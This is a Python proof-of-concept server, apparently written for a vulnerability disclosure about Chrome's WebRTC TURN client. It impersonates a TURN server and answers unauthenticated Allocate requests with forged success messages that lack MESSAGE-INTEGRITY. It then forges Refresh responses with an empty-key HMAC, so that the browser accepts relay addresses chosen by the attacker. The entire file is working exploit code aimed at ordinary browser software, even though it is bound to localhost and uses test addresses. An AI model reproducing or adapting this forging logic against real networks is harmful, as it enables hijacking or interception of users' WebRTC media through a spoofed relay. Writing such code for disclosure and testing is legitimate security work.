#!/usr/bin/env python3 """ POC server: simulates an on-path attacker against a plain `turn:` server. Runs two listeners: - HTTP on 127.0.0.1:8080 -> serves poc.html and receives results - UDP on 127.0.0.1:3478 -> fake TURN server that, on receiving the first (unauthenticated) Allocate request, replies with a forged Allocate SUCCESS that has NO MESSAGE-INTEGRITY attribute. A compliant TURN server (RFC 5766 sec 6.2) MUST reply to the first unauthenticated Allocate with a 401. An on-path attacker who does not know the TURN long-term credential cannot produce a valid MESSAGE-INTEGRITY, so the only way it can take over the allocation is to send a success without one. If Chrome accepts that and emits a `typ relay` candidate carrying the attacker-supplied addresses, the auth bypass is proven. """ import hashlib import hmac import http.server import json import os import socket import struct import sys import threading HTTP_HOST, HTTP_PORT = "127.0.0.1", 29080 TURN_HOST, TURN_PORT = "127.0.0.1", 29478 MAGIC_COOKIE = 0x2112A442 MAGIC_COOKIE_BYTES = struct.pack("!I", MAGIC_COOKIE) # Attacker-chosen addresses placed in the forged response. FORGED_RELAY_IP, FORGED_RELAY_PORT = "198.51.100.99", 6666 # TEST-NET-2 FORGED_MAPPED_IP, FORGED_MAPPED_PORT = "203.0.113.77", 5555 # TEST-NET-3 FORGED_LIFETIME = 8 # seconds -> Refresh scheduled at lifetime/2 = 4s # TURN long-term credential supplied by the page. The attacker is assumed # NOT to know this (and never uses it). TURN_USERNAME = "victim-user" TURN_PASSWORD = "victim-secret-password" # STUN/TURN message types ALLOCATE_REQUEST = 0x0003 ALLOCATE_SUCCESS = 0x0103 REFRESH_REQUEST = 0x0004 REFRESH_SUCCESS = 0x0104 # Attribute types ATTR_USERNAME = 0x0006 ATTR_MESSAGE_INTEGRITY = 0x0008 ATTR_LIFETIME = 0x000d ATTR_REALM = 0x0014 ATTR_NONCE = 0x0015 ATTR_XOR_RELAYED_ADDR = 0x0016 ATTR_XOR_MAPPED_ADDR = 0x0020 def xor_addr_attr(attr_type: int, ip: str, port: int) -> bytes: xport = port ^ (MAGIC_COOKIE >> 16) ip_bytes = socket.inet_aton(ip) xip = bytes(b ^ m for b, m in zip(ip_bytes, MAGIC_COOKIE_BYTES)) value = struct.pack("!BBH", 0, 0x01, xport) + xip return struct.pack("!HH", attr_type, len(value)) + value def u32_attr(attr_type: int, val: int) -> bytes: return struct.pack("!HHI", attr_type, 4, val) def parse_attrs(body: bytes): """Yield (type, value) for each attribute in a STUN body.""" i = 0 while i + 4 <= len(body): atype, alen = struct.unpack_from("!HH", body, i) val = body[i + 4 : i + 4 + alen] pad = (4 - (alen % 4)) % 4 i += 4 + alen + pad yield atype, val def build_forged_allocate_success(txid: bytes) -> bytes: """Forged Allocate success - NO MESSAGE-INTEGRITY (attacker has no key).""" attrs = ( xor_addr_attr(ATTR_XOR_MAPPED_ADDR, FORGED_MAPPED_IP, FORGED_MAPPED_PORT) + xor_addr_attr(ATTR_XOR_RELAYED_ADDR, FORGED_RELAY_IP, FORGED_RELAY_PORT) + u32_attr(ATTR_LIFETIME, FORGED_LIFETIME) ) hdr = struct.pack("!HHI", ALLOCATE_SUCCESS, len(attrs), MAGIC_COOKIE) + txid return hdr + attrs def build_forged_refresh_success(txid: bytes) -> bytes: """Forged Refresh success with MESSAGE-INTEGRITY = HMAC-SHA1(key=b'', ...). After the unauthenticated Allocate is accepted, hash_/realm_/nonce_ stay empty, so the client computes MI on its Refresh with an empty key. The response must pass ValidateMessageIntegrity(""), which any attacker can forge. """ body = u32_attr(ATTR_LIFETIME, FORGED_LIFETIME) mi_placeholder = struct.pack("!HH", ATTR_MESSAGE_INTEGRITY, 20) + b"\x00" * 20 msg_len = len(body) + len(mi_placeholder) hdr = struct.pack("!HHI", REFRESH_SUCCESS, msg_len, MAGIC_COOKIE) + txid mac = hmac.new(b"", hdr + body, hashlib.sha1).digest() return hdr + body + struct.pack("!HH", ATTR_MESSAGE_INTEGRITY, 20) + mac def turn_server(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((TURN_HOST, TURN_PORT)) print(f"[turn] listening on udp {TURN_HOST}:{TURN_PORT}", flush=True) while True: data, addr = sock.recvfrom(4096) if len(data) < 20: continue msg_type, msg_len, cookie = struct.unpack_from("!HHI", data, 0) if cookie != MAGIC_COOKIE: continue txid = data[8:20] body = data[20 : 20 + msg_len] attrs = dict(parse_attrs(body)) if msg_type == ALLOCATE_REQUEST: has_mi = ATTR_MESSAGE_INTEGRITY in attrs has_user = ATTR_USERNAME in attrs print( f"[turn] <- Allocate req from {addr} " f"txid={txid.hex()} has_USERNAME={has_user} has_MI={has_mi}", flush=True, ) # Attacker behaviour: instead of the RFC-required 401, send a # forged success WITHOUT MESSAGE-INTEGRITY. resp = build_forged_allocate_success(txid) sock.sendto(resp, addr) print( f"[turn] -> FORGED Allocate SUCCESS (no MESSAGE-INTEGRITY) " f"relay={FORGED_RELAY_IP}:{FORGED_RELAY_PORT} " f"mapped={FORGED_MAPPED_IP}:{FORGED_MAPPED_PORT}", flush=True, ) elif msg_type == REFRESH_REQUEST: realm = attrs.get(ATTR_REALM, b"") nonce = attrs.get(ATTR_NONCE, b"") mi = attrs.get(ATTR_MESSAGE_INTEGRITY) print( f"[turn] <- Refresh req from {addr} txid={txid.hex()} " f"REALM={realm!r} NONCE={nonce!r} has_MI={mi is not None}", flush=True, ) if mi is not None: # Verify the client's MI was computed with an EMPTY key. # Per RFC 5389 sec 15.4, the HMAC covers the header (with the # length field set as if MI were the last attribute) plus all # attributes preceding MI. idx = body.find( struct.pack("!HH", ATTR_MESSAGE_INTEGRITY, 20) + mi ) preceding = body[:idx] fake_len = idx + 24 hdr_for_mac = ( struct.pack("!HHI", REFRESH_REQUEST, fake_len, MAGIC_COOKIE) + txid ) expected = hmac.new( b"", hdr_for_mac + preceding, hashlib.sha1 ).digest() if expected == mi: print( "[turn] ^^^ CONFIRMED: client MESSAGE-INTEGRITY was " "computed with an EMPTY key (HMAC-SHA1(key=b''))", flush=True, ) print( "[turn] => attacker can forge MI on every subsequent " "TURN response", flush=True, ) else: print( f"[turn] client MI did not match empty-key HMAC " f"(got {mi.hex()}, empty-key={expected.hex()})", flush=True, ) resp = build_forged_refresh_success(txid) sock.sendto(resp, addr) print("[turn] -> FORGED Refresh SUCCESS (MI = HMAC-SHA1 with empty key)", flush=True) else: print(f"[turn] <- type=0x{msg_type:04x} (ignored)", flush=True) class Handler(http.server.SimpleHTTPRequestHandler): def __init__(self, *a, **kw): super().__init__(*a, directory=os.path.dirname(os.path.abspath(__file__)), **kw) def do_POST(self): n = int(self.headers.get("Content-Length", "0")) body = self.rfile.read(n).decode("utf-8", "replace") try: obj = json.loads(body) except Exception: obj = {"raw": body} print(f"[http] REPORT from page: {json.dumps(obj)}", flush=True) if obj.get("type") == "relay": print( "[http] *** VULNERABILITY CONFIRMED: Chrome emitted a " "`typ relay` candidate from an UNAUTHENTICATED Allocate " "success ***", flush=True, ) print( f"[http] *** forged relay address surfaced to JS: " f"{obj.get('address')}:{obj.get('port')} " f"raddr={obj.get('raddr')}:{obj.get('rport')} ***", flush=True, ) self.send_response(204) self.end_headers() def log_message(self, fmt, *args): sys.stderr.write("[http] " + (fmt % args) + "\n") def main(): threading.Thread(target=turn_server, daemon=True).start() httpd = http.server.ThreadingHTTPServer((HTTP_HOST, HTTP_PORT), Handler) print(f"[http] serving on http://{HTTP_HOST}:{HTTP_PORT}/poc.html", flush=True) httpd.serve_forever() if __name__ == "__main__": main()